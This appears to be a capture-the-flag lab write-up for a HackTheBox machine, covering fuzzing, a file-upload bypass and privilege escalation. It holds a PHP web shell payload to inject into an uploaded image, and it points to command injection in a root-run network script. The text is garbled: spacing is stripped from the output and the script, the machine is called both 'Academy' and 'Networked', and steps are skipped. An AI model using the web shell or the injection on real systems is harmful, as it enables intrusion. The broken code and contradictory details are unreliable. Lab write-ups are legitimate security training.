Academy is an easy-rated Linux machine from HackTheBox, created by guly. In the current post, my IP is 10.10.14.56, and the target IP is 10.129.170.0
There is nothing complex in the machine Networked, there is a file upload bypass, leading to code execution, here there are many available techniques due to the lack of sanitization. And inside the machine you exploit a crontab and then a poor configured network configuration script.
Recon
The first steps are about getting basic information about the target, by using nmap and searching information from the website.
********************************************************* Wfuzz 3.1.0- The Web Fuzzer *********************************************************Target: http://10.129.170.0/FUZZTotal requests:220546=====================================================================ID Response Lines Word Chars Payload=====================================================================000000150: 3017L20W236 Ch "uploads"000001612: 3017L20W235 Ch "backup"
/uploads/ > Nothing
/backup/ > There is a file, download backup.tar, inside the .tar file you can find four files, index.php, lib.php, photos.php and upload.php
Index.php > Front page
lib.php > Nothing
photos.php > photo gallery, if you can upload, this will be useful.
upload.php > you can upload files, this is the most valuable place by now.
Reverse Shell [apache]
Go to http://10.129.170.0/upload.php and upload any image
As you can see, we can visualice the images uploaded, we want to exploit this. Intercept a file upload.
Now that we know that uploading files is an alternative, our best option is to inject a php command. Add "<?php system($_GET['cmd]); ?>" at the 3rd row, or anywhere. And upload the image.
Browser > http://10.129.170.0/photos.php
Nothing, but before by fuzzing we found a blank site called /uploads/
[guly@networked ~]$ iduid=1000(guly) gid=1000(guly) groups=1000(guly)[guly@networked ~]$ sudo -lMatchingDefaultsentriesforgulyonnetworked: !visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep="COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR
LS_COLORS", env_keep+="MAIL PS1 PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE", env_keep+="LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT
LC_MESSAGES", env_keep+="LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER LC_TELEPHONE", env_keep+="LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET
XAUTHORITY", secure_path=/sbin\:/bin\:/usr/sbin\:/usr/binUser guly may run the following commands on networked: (root) NOPASSWD: /usr/local/sbin/changename.sh
Looks like we can execute that custom .sh file as root, let's what's inside
Target Terminal [guly]
cat/usr/local/sbin/changename.sh
#!/bin/bash -pcat>/etc/sysconfig/network-scripts/ifcfg-guly<<EoF# It reads the network-script folder.DEVICE=guly0ONBOOT=noNM_CONTROLLED=noEoFregexp="^[a-zA-Z0-9_\ /-]+$"for var inNAMEPROXY_METHODBROWSER_ONLYBOOTPROTO; do# There is a interaction with the userecho"interface $var:"readx# We can inject a command herewhile [[ ! $x =~ $regexp ]]; doecho"wrong input, try again"echo"interface $var:"readxdoneecho $var=$x >>/etc/sysconfig/network-scripts/ifcfg-gulydone/sbin/ifupguly0